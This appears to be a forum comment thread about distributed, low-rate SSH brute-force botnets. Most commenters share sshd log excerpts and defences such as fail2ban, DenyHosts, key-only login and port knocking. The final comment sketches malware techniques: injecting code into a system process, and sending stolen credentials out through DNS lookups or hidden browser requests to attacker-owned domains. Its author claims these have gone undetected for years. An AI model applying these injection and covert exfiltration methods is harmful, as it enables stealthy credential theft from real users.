Distributed, Low-Intensity Botnets

badger.foo writes "We have seen the future of botnets, and it is distributed and low-key. Are sites running free software finally becoming malware targets? It all started with a higher-than-usual number of failed ssh logins at a low-volume site. I think we are seeing the shape of botnets to come, with malware authors doing their early public beta testing during the last few weeks."

Comments

Fleas on a dog

[try_anything]

If the bad guys can siphon off what they need without being more than a mild annoyance, they can operate without fear of retribution.

Nothing abnormal about SSH probes...

[knarf]

I've seen SSH probes on my one-man-and-a-dog site for aeons. I don't think there's anything out of the ordinary, the scum has been trying (and failing) to get in for as long as I've had something listening on the 'net - and that is a long time. There's also nothing new in them trying to root FLOSS-sites as those sites - with their fixed IP addresses, good uptime, high reliability and abundance of crappy PHP-scripts to open the doors - make for good C&C hosts for their flock.

So all I read from this flog is that a grumpy BSD user should probably check his logs more often. This is nothing new.

Nothing new, move along

[girlintraining]

Okay, how is this different than previous patterns of hacking activity, other than the fact that they're aquiring compromised machines via a bot net? It's not! These "security researchers" remind me sometimes of my pothead friends. You can always tell someone who's new to smoking weed because they constantly ask the question, "but have you done it on WEED?" It's like somehow the idea that these people are using a botnet makes it all strange and new again. No, fail!

Re:Nothing new, move along

[ShaunC]

Okay, how is this different than previous patterns of hacking activity, other than the fact that they're aquiring compromised machines via a bot net?

You're sort of missing the point, I think, in that what's different about this pattern of activity is precisely the fact that it's being done with a botnet.

For one thing, there's a new level sophistication, primarily in that this bruteforce campaign is not the least bit random. I'm being hit by thousands of distinct attackers, yet the progression of usernames being attempted is undeniably alphabetical. Occasionally a particular username is attempted more than once, but it's typically sequential. One attempt per username with the attacking hosts only making one attempt every few hours.

The level of coordination required for this sort of attack is unprecedented. Across thousands of bots, each one at any given moment is able to determine:

• That I am among the pool of targets to be probed
• That I am, at this precise second, the next target to be probed
• That this particular bot hasn't probed me recently and is now eligible to probe me again
• Which usernames have already been probed on my machine
• The next username, in sequence, that should be attempted on my machine

In the past, brute force SSH attacks have always been obvious. Typical hit and runs. One host will spew hundreds or thousands of attempts at a target, typically in quick succession, typically focusing on system accounts, and typically trying a shitload of passwords against each account. Firewalls and IDS deployments far and wide will now easily detect (and often block) these attacks immediately because they're so easy to recognize.

This attack is very different. It's not targeting system accounts, it's hoping to get lucky against a vast list of potential userland lognames. It's only trying once or maybe twice per account. And it's distributing these attempts, round-robin style, across an impressive number of sources, with enough logic so that bot B will not attack host H unless all other bots in the network have sequentially exhausted their "token" attempt on host H.

What we're seeing is flying under the radar of a shit-ton of IDS/firewall implementations, and is harder to fight.

I would love to get my hands on the C&C database being used to coordinate all of this. Much as I hate to admit it, the architecture of this attack is unique and innovative, and I'd like to see what makes it tick.

Re:Non Distributed Botnets

[internerdj]

It is a bit more complicated than that. My job is a bit more important to me than reading the article and believe me where I work they are very unfriendly to circumventing security measures.

Re:Old news

[Sancho]

I've noticed a significantly increased number of brute-force attacks in the last week or so. They're also spacing the number of attempts per IP address out, however I'll get several attempts in a row for the same invalid username from several different IP addresses within seconds of each other. Then all of the addresses will back off for a couple of minutes, and then they'll retry with a new username.

It's gotten to the point where I have finally installed Denyhosts. Prior to this week, I got away with limiting the number of new connections to port 22 per IP address per minute, but with the backoff that they're doing now, that no longer works.

Denyhosts is fantastic, though. Since I last evaluated it, they've added the ability to sync with a centralized server, meaning that I can potentially block attackers before they even hit me. I wish that everyone would use it, now.

Re:Easy was to stop 90% of SSH attacks

[geekgirlandrea]

Yeah, because Switzerland is such a notorious source of attacks. I think you meant .cn.

Re:SSH probes are nothing new

[ShaunC]

Yeah, same here, except right now there's a rather humongous distributed bruteforce campaign going on. The 20-30 attempts I tend to see have skyrocketed to several thousand per day. It's actually pretty impressive - it's clearly a distributed sequential dictionary attack. Most of the IPs will only try once or twice, in an effort to avoid exactly the sort of reactive firewalling you mention.

Dec 1 11:17:57 shaunc sshd[35178]: Failed unknown for illegal user griffin from 196.211.53.74 port 20893 ssh2
Dec 1 11:18:17 shaunc sshd[35262]: Failed unknown for illegal user griffith from 92.50.243.18 port 40689 ssh2
Dec 1 11:18:30 shaunc sshd[35308]: Failed unknown for illegal user griffith from 82.207.103.151 port 60822 ssh2
Dec 1 11:18:33 shaunc sshd[35354]: Failed unknown for illegal user grizelda from 65.203.231.41 port 60602 ssh2

Many thousands of these, seconds apart, all day long. It got so bad that for the time being I've moved sshd to a different port.

Re:Go install fail2ban

[Yath]

Please read more of the article before posting. The activity being described is a brute-force SSH login attack that is distributed across a botnet.

(Yes, the title of the article is misleading, as botnets are by definition distributed; the interesting bit is that SSH brute-force attacks against a specific host don't seem to have been distributed before.)

Here's the relevant bit:

See for example the attempts to log on as the alias user, 14 attempts are made from 13 different hosts, with only 70-46-140-187.orl.fdn.com trying more than once. Then thirteen attempts are made for the amanda user, from 13 other hosts.

fail2ban is not effective against this.

Solution - disable root ssh login, password auth

[Khopesh]

I forgot to mention my over-arching solution:

1. Disable root access: in /etc/ssh/sshd_config, set PermitRootLogin no
2. Disable password access (require ssh keys!): in /etc/ssh/sshd_config, set PasswordAuthentication no
3. Use an auto-banning solution like Fail2ban to limit attacking traffic and save bandwidth

SSH keys ensure that you're virtually immune to attacks, since the attack now MUST be brute-force (or break the RSA/DSA algorithms or compromise the server itself rather than an account), and must crack a "password" of over 150 base64 characters representing the 1024 bits of entropy in the key; a completely random printable password of 20 characters has 130 bits of entropy and an 8-word Diceware passphrase has only 120; you're not brute-forcing that.

Preventing root from accessing remotely is just smart (your logs can show who really logged in, your sudo logs show who needed root-level access and when, and you can auto-ban root logins immediately rather than after a set number of failed authentications).

All we're missing is the extension to #3 to handle distributed attack failures (as proposed by the parent post); with the proper protections, this is a bandwidth issue rather than a security issue (unless you're worried about DDoS, but we're talking about low-intensity attacks here).

For those of you stuck permitting passwords, you'll want something like John the Ripper to brute-force users' insecure passwords before the enemies do. This way you can disable their accounts when you find that they are vulnerable and force them to change their password to something more secure.

Re:Isn't that...

[Duckie01]

Yeah these worms were attacking my home linux router as well, like a year ago or some.

Worms just tried to brute force ssh using "administrator" and such as username. I guess they were trying to get into badly (default) configured broadband routers. That's never going to work of course on my linux box but all the login attempts caused the hd to be busy *all* the time.

My sollution was to drop ssh packets by default in the firewall. Not that these attacks were likely to succeed but I didn't want my consumer grade hd to wear down in a year ;) I then created a small php script that'd insert a firewall rule to accept ssh connections from the IP it's called from. Finally I password protected the php script with .htaccess.

So now I can enable ssh to my machine wherever I am, while still blocking the rest of the internet.

Re:Non Distributed Botnets

[ShaunC]

you can read slashdot, but not a blog?

This isn't surprising at all, even less so if he works in IT. Corporate management issues a new policy: "our computing resources are not to be used for [insert a huge list of time-wasting things employees have been caught doing in the office]." But keep in mind who's eventually tasked with implementing the policy. Given such an edict, network admins everywhere will happily block the most prolific productivity killers... Except for their own.

You'll find plenty of enterprises where MySpace, Facebook, Blogger, LiveJournal and friends all resolve to nowhere, yet geekier time pits like Slashdot and TechCrunch are wide open.

Re:Isn't that...

[weetabeex]

You could also be interested in port knocking.

Turned out to be quite handy when I had that same issue with bots connecting to my ssh port all day long.

Re:Non Distributed Botnets

[OeLeWaPpErKe]

Actually botnets watch the IT department.

Is this really a surprise ? Not every hacker is a 10 year old that does it for the kick of announcing himself "master of the network".

These days you write a virus, that stays in the back-back-background (exe injection is one hell of a rootkit-like trick that not a single antivirus vendor detects : you startup. You find some dameon process that's sure as hell not going to get terminated any time soon (on winxp you can actually use the "idle" process), you "debug" the process, insert your own code in it's memory, in a freshly allocated piece, use the debugger to jump into your code, which creates a new thread in it's address space. You clean up, and voila, you'd have to be one hell of an admin to realise what happens on boot. You could even infect svchost.exe on disk).

The hacking programs stay very, very, very low key and use covert channels to send information out, and receive answers. (e.g. user logs in with username password -> daemon looks up aes('$username,$password').some.domain.attacker.owns. The remote dns server is what informs the attacker of the username and password. Or have the webbrowser startup in a hidden window going to "yooptube.com?v="+aes('$username,$password'). You get the idea.

In these days of youtube, myspace and such, such a lookup is not exactly a strange occurance (though I use a "question and answers" site), and used sparingly, will evade any detection system.

Use the enemy's tools against him. Use the webbrowser to connect to the web. Use DNS. Use email. Use ... never try to open an outside connection.

Works wonders. 3 years now, and still not discovered.